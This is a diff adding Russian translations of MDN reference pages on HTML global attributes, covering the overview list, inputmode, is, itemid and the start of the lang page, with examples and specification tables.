+<p>Глобальные атрибуты могут быть указаны для любых <a href="/ru/docs/Web/HTML/Element">элементов HTML</a>, <em>даже для тех, которые не указаны в стандарте.</em> Это значит, что все нестандартные элементы должны допускать эти атрибуты, даже если использование этих элементов означает, что документ больше не является HTML5-совместимым. Например, HTML5-совместимые бразузеры скрывают содержимое, помеченное как <code>&lt;foo hidden&gt;...&lt;foo&gt;</code><code>, хотя </code><code>&lt;foo&gt;</code> не является верным HTML элементом.</p>
+
+<p>В дополнение к <em>основным </em>для HTML глобальным атрибутам, также существуют следующие глобальные атрибуты:</p>
+
+<ul>
+ <li><strong><code>xml:lang</code></strong> и <code><strong>xml:base</strong></code> — унаследованы от спецификации XHTML, и хотя являются устаревшими, сохранены в целях совместимости.</li>
+ <li>Многочисленные <code><strong><a href="/ru/docs/Web/Accessibility/ARIA">aria-*</a></strong></code> атрибуты, используемые для улучшения доступности.</li>
+ <li>Атрибуты обработчиков событий: <code><strong>onabort</strong></code>, <code><strong>onautocomplete</strong></code>, <code><strong>onautocompleteerror</strong></code>, <code><strong>onblur</strong></code>, <code><strong>oncancel</strong></code>, <code><strong>oncanplay</strong></code>, <code><strong>oncanplaythrough</strong></code>, <code><strong>onchange</strong></code>, <code><strong>onclick</strong></code>, <code><strong>onclose</strong></code>, <code><strong>oncontextmenu</strong></code>, <code><strong>oncuechange</strong></code>, <code><strong>ondblclick</strong></code>, <code><strong>ondrag</strong></code>, <code><strong>ondragend</strong></code>, <code><strong>ondragenter</strong></code>, <code><strong>ondragexit</strong></code>, <code><strong>ondragleave</strong></code>, <code><strong>ondragover</strong></code>, <code><strong>ondragstart</strong></code>, <code><strong>ondrop</strong></code>, <code><strong>ondurationchange</strong></code>, <code><strong>onemptied</strong></code>, <code><strong>onended</strong></code>, <code><strong>onerror</strong></code>, <code><strong>onfocus</strong></code>, <code><strong>oninput</strong></code>, <code><strong>oninvalid</strong></code>, <code><strong>onkeydown</strong></code>, <code><strong>onkeypress</strong></code>, <code><strong>onkeyup</strong></code>, <code><strong>onload</strong></code>, <code><strong>onloadeddata</strong></code>, <code><strong>onloadedmetadata</strong></code>, <code><strong>onloadstart</strong></code>, <code><strong>onmousedown</strong></code>, <code><strong>onmouseenter</strong></code>, <code><strong>onmouseleave</strong></code>, <code><strong>onmousemove</strong></code>, <code><strong>onmouseout</strong></code>, <code><strong>onmouseover</strong></code>, <code><strong>onmouseup</strong></code>, <code><strong>onmousewheel</strong></code>, <code><strong>onpause</strong></code>, <code><strong>onplay</strong></code>, <code><strong>onplaying</strong></code>, <code><strong>onprogress</strong></code>, <code><strong>onratechange</strong></code>, <code><strong>onreset</strong></code>, <code><strong>onresize</strong></code>, <code><strong>onscroll</strong></code>, <code><strong>onseeked</strong></code>, <code><strong>onseeking</strong></code>, <code><strong>onselect</strong></code>, <code><strong>onshow</strong></code>, <code><strong>onsort</strong></code>, <code><strong>onstalled</strong></code>, <code><strong>onsubmit</strong></code>, <code><strong>onsuspend</strong></code>, <code><strong>ontimeupdate</strong></code>, <code><strong>ontoggle</strong></code>, <code><strong>onvolumechange</strong></code>, <code><strong>onwaiting</strong></code>.</li>
+</ul>
+
+<h2 id="Описание">Описание</h2>
+
+<dl>
+ <dt id="attr-accesskey"><code><a href="/ru/docs/Web/HTML/Global_attributes/accesskey">accesskey</a></code></dt>
+ <dd>Дает подсказку для создания комбинации клавиш для текущего элемента. Этот атрибут содержит список разделенных пробелами символов. Браузер должен использовать первый имеющийся в раскладке клавиатуры символ из списка.</dd>
+ <dt id="attr-class"><code><a href="/ru/docs/Web/HTML/Global_attributes/class">class</a></code></dt>
+ <dd>Это список разделенных пробелами классов элемента. Классы позволяют CSS и JavaScript выбирать и получать доступ к конкретным элементам через <a href="/ru/docs/Web/CSS/Class_selectors" title="В HTML документе, селекторы по CSS классу находят элементы с нужным классом.">селекторы по классу</a> или через функции, такие как метод {{domxref("Document.getElementsByClassName()")}}.</dd>
+ <dt id="attr-contenteditable"><code><a href="/ru/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></code></dt>
+ <dd>Это перечислимый атрибут, указывающий, нужно ли предоставить пользователю возможность редактировать элемент. Если это так, браузер изменит свой виджет таким образом, чтобы позволить редактирование. Атрибут должен принимать одно из следующих значений:
+ <ul>
+  <li><code>true</code> или <em>пустая строка</em>, указывает, что элемент должен быть редактируемым;</li>
+  <li><code>false</code>, указывает, что элемент не должен быть редактируемым.</li>
+ </ul>
+ </dd>
+ <dt id="attr-contextmenu"><code><a href="/ru/docs/Web/HTML/Global_attributes/contextmenu">contextmenu</a></code></dt>
+ <dd>Это <code><a href="#attr-id"><strong>id</strong></a></code> элемента {{HTMLElement("menu")}}, который следует использовать в качестве контекстного меню для данного элемента.</dd>
+ <dt id="attr-dataset"><code><a href="/ru/docs/Web/HTML/Global_attributes/data-*">data-*</a></code></dt>
+ <dd>Определяет группу атрибутов, называемых атрибутами пользовательских данных, позволяющих осуществлять обмен служебной информацией между <a href="/ru/docs/Web/HTML">HTML</a> и его <a href="/ru/docs/Glossary/DOM">DOM</a> представлением, что может быть использовано скриптами. Все такие пользовательские данные доступны через интерфейс {{domxref("HTMLElement")}} элемента у которого установлен атрибут. Свойство {{domxref("HTMLElement.dataset")}} предоставляет доступ к ним.</dd>
+ <dt id="attr-dir"><code><a href="/ru/docs/Web/HTML/Global_attributes/dir">dir</a></code></dt>
+ <dd>Это перечислимый атрибут указывающий направление текста в элементе. Он может принимать одно из следующих значений:
+ <ul>
+  <li><code>ltr</code>, что расшифровывается как <em>left to right </em>(слева направо), и предназначено для языков, в которых пишут слева направо (как в русском);</li>
+  <li><code>rtl</code>, что расшифровывается как <em>right to left</em> (справа налево), и предназначено для языков, в которых пишут справа налево (как в арабском);</li>
+  <li><code>auto</code> — позволяет принять решение пользовательскому приложению. Оно применяет базовый алгоритм — анализирует символы внутри элемента до тех пор, пока не найдет символ со строгим направлением, а затем применяет это направление ко всему элементу.</li>
+ </ul>
+ </dd>
+ <dt id="attr-draggable"><code><a href="/ru/docs/Web/HTML/Global_attributes/draggable">draggable</a></code> {{experimental_inline}}</dt>
+ <dd>Это перечислимый атрибут, указывающий, можно ли перетаскивать элемент используя <a href="/ru/docs/Web/Guide/HTML/Drag_and_drop">Drag and Drop API</a>. Он может иметь одно из следующих значений:
+ <ul>
+  <li><code>true</code>, указывающее, что элемент можно перетаскивать;</li>
+  <li><code>false</code>, указывающее, что элемень нельзя перетаскивать.</li>
+ </ul>
+ </dd>
+ <dt id="attr-dropzone"><code><a href="/ru/docs/Web/HTML/Global_attributes/dropzone">dropzone</a></code> {{experimental_inline}}</dt>
+ <dd>Это перечислимый атрибут, указывающий типы содержимого, которое можно перетащить в элемент с использованием <a href="/ru/docs/Web/Guide/HTML/Drag_and_drop">Drag and Drop API</a>. Он может иметь одно из следующих значений:
+ <ul>
+  <li><code>copy</code>, указывающее, что перетаскивание создаст копию перетаскиваемого элемента;</li>
+  <li><code>move</code>, указывающее, что перетаскиваемый элемент будет перемещен в новое расположение;</li>
+  <li><code>link</code> — создаст ссылку на перетаскиваемые данные.</li>
+ </ul>
+ </dd>
+ <dt id="attr-hidden"><code><a href="/ru/docs/Web/HTML/Global_attributes/hidden">hidden</a></code></dt>
+ <dd>Это логический атрибут, указывающий, что элемент уже (или еще) не актуален. Можно использовать этот атрибут, например для того, чтобы спрятать части страницы, которые не должны быть видны до завершения авторизации. Браузер не будет отображать такие элементы. Этот атрибут не должен использоваться, чтобы скрыть содержимое, которое может быть показано на законных основаниях.</dd>
+ <dt id="attr-id"><code><a href="/ru/docs/Web/HTML/Global_attributes/id">id</a></code></dt>
+ <dd>Определяет идентификатор (ID), который должен быть уникален для всего документа. Он предназначен для идентификации элемента при созданиии ссылок на него, исполнении скриптов или применении стилей (посредством CSS).</dd>
+ <dt id="attr-itemid"><code><a href="/ru/docs/Web/HTML/Global_attributes/itemid">itemid</a></code> {{experimental_inline}}</dt>
+ <dt id="attr-itemprop"><code><a href="/ru/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code> {{experimental_inline}}</dt>
+ <dt id="attr-itemref"><code><a href="/ru/docs/Web/HTML/Global_attributes/itemref">itemref</a></code> {{experimental_inline}}</dt>
+ <dt id="attr-itemscope"><code><a href="/ru/docs/Web/HTML/Global_attributes/itemscope">itemscope</a> </code>{{experimental_inline}}</dt>
+ <dt id="attr-itemtype"><code><a href="/ru/docs/Web/HTML/Global_attributes/itemtype">itemtype</a></code> {{experimental_inline}}</dt>
+ <dd>Эти атрибуты относятся к определению <a class="external" href="http://html.spec.whatwg.org/multipage/microdata.html">микроданных</a>.</dd>
+ <dt id="attr-lang"><code><a href="/ru/docs/Web/HTML/Global_attributes/lang">lang</a></code></dt>
+ <dd>Участвует в определении языка элемента, языка написания нередактируемых элементов или языка, на котором должны быть написаны редактируемые элементы. Содержит единственное значение в формате, определенном в документе IETF <a class="external" href="http://www.ietf.org/rfc/bcp/bcp47.txt" title="Tags for Identifying Languages"><em>BCP47</em></a>. <a href="#attr-xml:lang"><strong>xml:lang</strong></a> имеет приоритет над ним.</dd>
+ <dt id="attr-spellcheck"><code><a href="/ru/docs/Web/HTML/Global_attributes/spellcheck">spellcheck</a></code> {{experimental_inline}}</dt>
+ <dd>Это перечислимый атрибут, определяющий, может ли содержимое элемента быть проверено на наличие орфорафических ошибок. Он может принимать одно из следующих значений:
+ <ul>
+  <li><code>true</code>, указывающее, что элемент должен, по возможности, проверяться на наличие орфографических ошибок;</li>
+  <li><code>false</code>, указывающее, что элемент не должен проверяться на наличие орфографических ошибок.</li>
+ </ul>
+ </dd>
+ <dt id="attr-style"><code><a href="/ru/docs/Web/HTML/Global_attributes/style">style</a></code></dt>
+ <dd>Содержит описание стилей <a href="/ru/CSS">CSS</a>, которые должны быть применены к элементу. Учтите, что рекомендуется определять стили в отдельном файле или файлах. Этот атрибут, как и элемент {{ HTMLElement("style") }}, предназначен, в основном, для оперативного применения стилей, например в целях тестирования.</dd>
+ <dt id="attr-tabindex"><code><a href="/ru/docs/Web/HTML/Global_attributes/tabindex">tabindex</a></code></dt>
+ <dd>Это числовой атрибут, указывающий, может ли элемент получать фокус, участвует ли он в последовательной навигации с клавиатуры, и если да, то в какой позиции. Может принимать одно из нескольких значений:
+ <ul>
+  <li><em>отрицательное число</em> означает, что элемент фокусируемый, но он не может получить фокус посредством последовательной навигации с клавиатуры;</li>
+  <li><code>0</code> означает, что элемент фокусируемый и может получить фокус посредством последовательной навигации с клавиатуры, но порядок его следования определяется платформой;</li>
+  <li><em>положительное значение</em> означает, что лемент фокусируемый и может получить фокус посредством последовательной навигации с клавиатуры. Порядок его следования определяется значением атрибута — последовательно возрастающего числа <a href="#attr-tabindex"><strong>tabindex</strong></a>. В случае, когда несколько элементов имеют одинаковое значение атрибута <strong><a href="#attr-tabindex">tabindex</a></strong>, порядок их следования при навигации определяется их местом в документе.</li>
+ </ul>
+ </dd>
+ <dt id="attr-title"><code><a href="/ru/docs/Web/HTML/Global_attributes/title">title</a></code></dt>
+ <dd>Содержит текст, предоставляющий консультативную информацию об элементе. Эта информация может, но не обязательно, показываться пользователю в виде всплывающей подсказки.</dd>
+ <dt id="attr-translate"><code><a href="/ru/docs/Web/HTML/Global_attributes/translate">translate</a></code></dt>
+ <dd>Это перечислимый атрибут, используемый для того, чтобы указать, следует ли переводить значения атрибутов элемента и его текстовое содержимое (содержимое узла {{domxref("Text")}}) при локализации страницы. Этот атрибут может принимать следующие значения:
+ <ul>
+  <li><em>пустая строка</em> или <code>"yes"</code> указывает, что элемент должен быть переведен;</li>
+  <li><code>"no</code>" указывает, что элемент не должен быть переведен.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td><strong>temid</strong>, <strong>itemprop</strong>, <strong>itemref</strong>, <strong>itemscope</strong>, и <strong>itemtype</strong> были добавлены из последнего снимка — {{SpecName('HTML5.1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Снимок {{SpecName('HTML WHATWG')}}. <strong>spellcheck</strong>, <strong>draggable</strong> и <strong>dropzone</strong> были добавлены из {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#global-attributes", "Global attributes")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Снимок {{SpecName('HTML WHATWG')}}. Концепция глобальных атрибутов представлена начиная с {{SpecName("HTML4.01")}} и атрибуты <strong>dir</strong>, <strong>lang</strong>, <strong>style</strong>, <strong>id</strong>, <strong>class</strong>, <strong>tabindex</strong>, <strong>accesskey</strong> и <strong>title</strong> становятся глобальными.<br>
+    <strong>xml:lang</strong> который был частью XHTML, теперь также является частью HTML.<br>
+    Были добавлены <strong>hidden</strong>, <strong>data-*</strong>, <strong>contextmenu</strong>, <strong>contenteditable</strong> и <strong><strong>translate</strong></strong>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Глобальные атрибуты на определены. Некоторые атрибуты из тех, что стали глобальными в последующих спецификациях, определены в подмножестве элементов .<br>
+    <strong>class</strong> и <strong>style</strong> поддериваются для всех элементов кроме {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} и {{HTMLElement("title")}}.<br>
+    <strong>dir</strong> поддеривается для всех элементов кроме {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}} и {{HTMLElement("script")}}.<br>
+    <strong>id</strong> поддеривается для всех элементов кроме {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} и {{HTMLElement("title")}}.<br>
+    <strong>lang</strong> поддеривается для всех элементов кроме {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}} и {{HTMLElement("script")}}.<br>
+    <strong>tabindex</strong> поддеривается только для {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}} и {{HTMLElement("textarea")}}.<br>
+    <strong>accesskey</strong> поддеривается только для {{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("label") }}, {{ HTMLElement("legend") }} и {{ HTMLElement("textarea") }}.<br>
+    <strong>title</strong> поддеривается для всех элементов кроме {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}} и {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("html.global_attributes")}}</p>
+
+<div id="compat-desktop"></div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Интерфейсы {{domxref("Element")}} и {{domxref("GlobalEventHandlers")}}, которые позволяют запрашивать большинство глобальных атрибутов.</li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/inputmode/index.html b/files/ru/web/html/global_attributes/inputmode/index.html
new file mode 100644
index 0000000000..feb9eaf958
--- /dev/null
+++ b/files/ru/web/html/global_attributes/inputmode/index.html
@@ -0,0 +1,60 @@
+---
+title: inputmode
+slug: Web/HTML/Global_attributes/inputmode
+translation_of: Web/HTML/Global_attributes/inputmode
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><a href="/ru/docs/Web/HTML/Общие_атрибуты">Глобальный атрибут</a> <strong><code>inputmode</code></strong> является вычисленным атрибутом, который предоставляет подсказку для типа данных, которые может ввести пользователь при редактировании содержания элемента.</span> Атрибут может принимать следующие значения:</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Без виртуальной клавиатуры; это полезно когда приложение или сайт имплементируют свои собственные клавиатуру или поле ввода.</dd>
+ <dt><code>text</code></dt>
+ <dd>Стандартная раскладка клавиатуры для пользователя, учитывая его локализацию.</dd>
+ <dt><code>decimal</code></dt>
+ <dd>Дробные значения чисел, содержащие разряд и соответствующий символ-разделитель, который учитывае локализацию пользователя (чаще всего "." или ","). Устройства могут показывать или нет символ минуса (отрицательное знаение).</dd>
+ <dt><code>numeric</code></dt>
+ <dd>Числовая раскладка клавиатуры; числа от 0 до 9. Устройства могут показывать или нет символ минуса (отрицательное значение).</dd>
+ <dt><code>tel</code></dt>
+ <dd>Раскладка для ввода номера телефона, включая числа от 0 до 9, звёздочку ("*"), и решетку ("#"). Поля ввода форм, что имеют обязательное поле номера телефона должны использовать <code><a href="/en-US/docs/Web/HTML/Element/input/tel">&lt;input type="tel"&gt;</a></code>.</dd>
+ <dt><code>search</code></dt>
+ <dd>Виртуальная клавиатура, оптимизированная для работы с поиском. Например, кнопка ввода может быть заменена на "Поиск", и др.</dd>
+ <dt><code>email</code></dt>
+ <dd>Виртуальная клавиатура, оптимизированная для ввода электронной почты, с использованием символа "@" и др. Поля ввода форм, что имеют обязательное поле электронной почты должны использовать <code><a href="/en-US/docs/Web/HTML/Element/input/email">&lt;input type="email"&gt;</a></code>.</dd>
+ <dt><code>url</code></dt>
+ <dd>Виртуальная клавиатура, оптимизированная для ввода ссылок. Может иметь кнопку "/", расположенную в более удобном месте. Поле может содержать функцию истории ввода и др. Поля ввода форм, что имеют обязательное поле ссылки URL должны использовать <code><a href="/en-US/docs/Web/HTML/Element/input/url">&lt;input type="url"&gt;</a></code>.</dd>
+</dl>
+
+<p>Атрибутом по умолчанию является <code>text</code>, которое учитывает локализацию  пользователя.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#input-modalities:-the-inputmode-attribute", "inputmode")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("html.global_attributes.inputmode")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Все <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/is/index.html b/files/ru/web/html/global_attributes/is/index.html
new file mode 100644
index 0000000000..a80c1772d1
--- /dev/null
+++ b/files/ru/web/html/global_attributes/is/index.html
@@ -0,0 +1,62 @@
+---
+title: is
+slug: Web/HTML/Global_attributes/is
+translation_of: Web/HTML/Global_attributes/is
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут </a> <strong><code>is</code></strong> позволяет указать, что стандартный HTML-элемент должен вести себя как определенный пользовательский встроенный элемент (см <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a> для информации).</span></p>
+
+<p>Этот атрибут может быть использован только, если указанное имя пользовательского элемента было успешно <a href="/en-US/docs/Web/API/CustomElementRegistry/define">определено</a> в текущем документе и расширяет тип элемента, к которому оно применяется.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Следующий код взят из нашего примеры <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a>  (<a href="https://mdn.github.io/web-components-examples/word-count-web-component/">см. в живую</a>).</p>
+
+<pre class="brush: js">// Создание класса для элемента
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Всегда вызывайте super первым в конструкторе
+    super();
+
+    // Содержимое конструктора опущено для краткости
+    ...
+
+  }
+}
+
+// Определение нового элемента
+customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<pre class="brush: html">&lt;p is="word-count"&gt;&lt;/p&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "custom-elements.html#attr-is", "is")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.global_attributes.is")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>All <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/itemid/index.html b/files/ru/web/html/global_attributes/itemid/index.html
new file mode 100644
index 0000000000..6fbadf42b5
--- /dev/null
+++ b/files/ru/web/html/global_attributes/itemid/index.html
@@ -0,0 +1,106 @@
+---
+title: itemid
+slug: Web/HTML/Global_attributes/itemid
+tags:
+  - микроданные
+translation_of: Web/HTML/Global_attributes/itemid
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут </a><code><strong>itemid</strong></code> предоставляет микроданные в форме уникального глобального идентификатора элемента.</span> Атрибут <code>itemid</code> может быть указан только для элемента, который имеет оба атрибута {{htmlattrxref("itemscope")}} и {{htmlattrxref("itemtype")}}. Также, <code>itemid</code> может бытьуказан только для элементов, обладающих атрибутом<code>itemscope,</code> соответствующий ссылке<code>itemtype</code> или определяющий словарь, поддерживающий глобальные идентификаторы.</p>
+
+<p>Точное значение глобального идентификатора <code>itemtype</code> обеспечивается определением этого идентификатора в пределах указанного словаря. Словарь определяет, могут ли сосуществовать несколько элементов с одним и тем же глобальным идентификатором, и, если да, то как обрабатывабтся элементы с одним и тем же идентификатором.</p>
+
+<p class="note"><strong>Примечание:</strong> Определение Whatwg.org указывает, что <code>itemid</code> должен быть URL. Однако, следующий пример правильно иллюстрирует, что URN, также может быть использован. Это несоответствие может отражать неполную природу спецификации микроданных.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;dl itemscope
+    itemtype="http://vocab.example.net/book"
+    itemid="urn:isbn:0-330-34032-8"&gt;
+&lt;dt&gt;Title &lt;dd itemprop="title"&gt;The Reality Dysfunction
+&lt;dt&gt;Author &lt;dd itemprop="author"&gt;Peter F. Hamilton
+&lt;dt&gt;Publication date
+&lt;dd&gt;&lt;time itemprop="pubdate" datetime="1996-01-26"&gt;26 January 1996&lt;/time&gt; &lt;/dl&gt;</pre>
+
+<h3 id="Структура_данных">Структура данных</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="14">itemscope</td>
+   <td>itemtype: itemid</td>
+   <td colspan="2" rowspan="1">
+    <div class="jyrRxf-eEDwDf jcd3Mb IZ65Hb-hUbt4d">http://vocab.example.net/book: urn:isbn:0-330-34032-8</div>
+   </td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>title</td>
+   <td>The Reality Dysfunction</td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>author</td>
+   <td>
+    <div class="jyrRxf-eEDwDf jcd3Mb">Peter F. Hamilton</div>
+   </td>
+  </tr>
+  <tr>
+   <td>itemprop</td>
+   <td>pubdate</td>
+   <td>1996-01-26</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('HTML', '', '', '', 'Web/HTML/Global_attributes/itemid')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML Microdata', "#items", "itemid")}}</td>
+   <td>{{Spec2('HTML Microdata')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "microdata.html#attr-itemid", "itemid")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.global_attributes.itemid")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes">Другие различные глобальные атрибуты</a></li>
+ <li>Другие глобальные атрибуты, связанные с микроданными
+  <ul>
+   <li>{{htmlattrxref("itemid")}}</li>
+   <li>{{htmlattrxref("itemprop")}}</li>
+   <li>{{htmlattrxref("itemref")}}</li>
+   <li>{{htmlattrxref("itemscope")}}</li>
+   <li>{{htmlattrxref("itemtype")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/lang/index.html b/files/ru/web/html/global_attributes/lang/index.html
new file mode 100644
index 0000000000..c8dc52d542
--- /dev/null
+++ b/files/ru/web/html/global_attributes/lang/index.html
@@ -0,0 +1,90 @@
+---
+title: lang
+slug: Web/HTML/Global_attributes/lang
+tags:
+  - HTML
+translation_of: Web/HTML/Global_attributes/lang
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <code>lang</code> помогает определить язык элемента: язык, на котором написаны нередактируемые элементы, или язык, на котором пользователем должны быть написаны редактируемые элементы. Атрибут содержит единственный “языковой тег” (<code>language tag</code>) в формате, определенном в <em><a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt">Tags for Identifying Languages (BCP47)</a>.</em></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-lang.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>Если значение атрибута — <em>пустая строка</em> (<code>lang=""</code>), язык устанавливается, как <em>неизвестный</em>. Если тег языка недействителен согласно BCP47, он устанавливается, как <em>недействительный</em>.</p>
+
+<div class="note">
+<h2 id="Синтаксис_языкового_тега">Синтаксис языкового тега</h2>
+
+<p>Подробный синтаксис BCP47 достаточно подробен, чтобы отмечать специфичные языковые диалекты, но в большинстве случаев его использование намного проще. </p>
+
+<p>Языковой тег состоит из <em>языковых вложенных тегов</em>, разделенных дефисом, где каждый вложенный тег указывает на определенное свойство языка. 3 наиболее распространенных вложенных тега:</p>
+
+<dl>
+ <dt>Языковой подтег</dt>
+ <dd>Обязателен. Двух-или-трех-символьный код, определяющий базовый язык, обычно записываемый в нижнем регистре. К примеру, код английского языка является <code>en</code>, а для Бадеши — <code>bdz</code>. </dd>
+ <dt>Подтег скрипта</dt>
+ <dd>Необязателен. Данный подтег определяет систему записи, и всегда состоящий из 4 символов с первой заглавной буквой. К примеру,  французский язык Брайля — это <code>fr-Brai</code>, а <code>ja-Kana</code> — это японский язык, написанный с использованием алфавита Катакана (Katakana). Если язык написан типичным способом, например, английский с латинским алфавитом, нет необходимости использовть данный подтег.</dd>
+ <dt>Подтег региона</dt>
+ <dd>Необязателен. Данный подтег определяет диалект основного языка из определенного места и состоит из двух букв в ALLCAPS, соответствующих коду страны, или трех цифр, соответствующих региону, который не относится к стране. К примеру, <code>es-ES</code> — это испанский язык, на котором разговаривают в Испании, а <code>es-013</code> означает испанский язык, на котором разговаривают в Центральной Америке. “Международный испанский” было бы просто <code>es</code>.</dd>
+</dl>
+
+<p>Подтег скрипта предшествует подтегу региона, если присутствуют оба тега — <code>ru-Cyrl-BY</code> — это русский язык, написанный кириллицей, на котором разговаривают в Беларуси. </p>
+
+<p>Чтобы найти правильный подтег кода языка, используйте <a href="https://r12a.github.io/app-subtags/" rel="external">the Language Subtag Lookup</a>.</p>
+</div>
+
+<p>Даже если указан атрибут <strong>lang</strong>, то он может не учитываться, поскольку атрибут <strong><a href="/ru/docs/Web/HTML/Global_attributes/xml:lang">xml:lang</a> </strong>имеет приоритет над <strong>lang</strong>.</p>
+
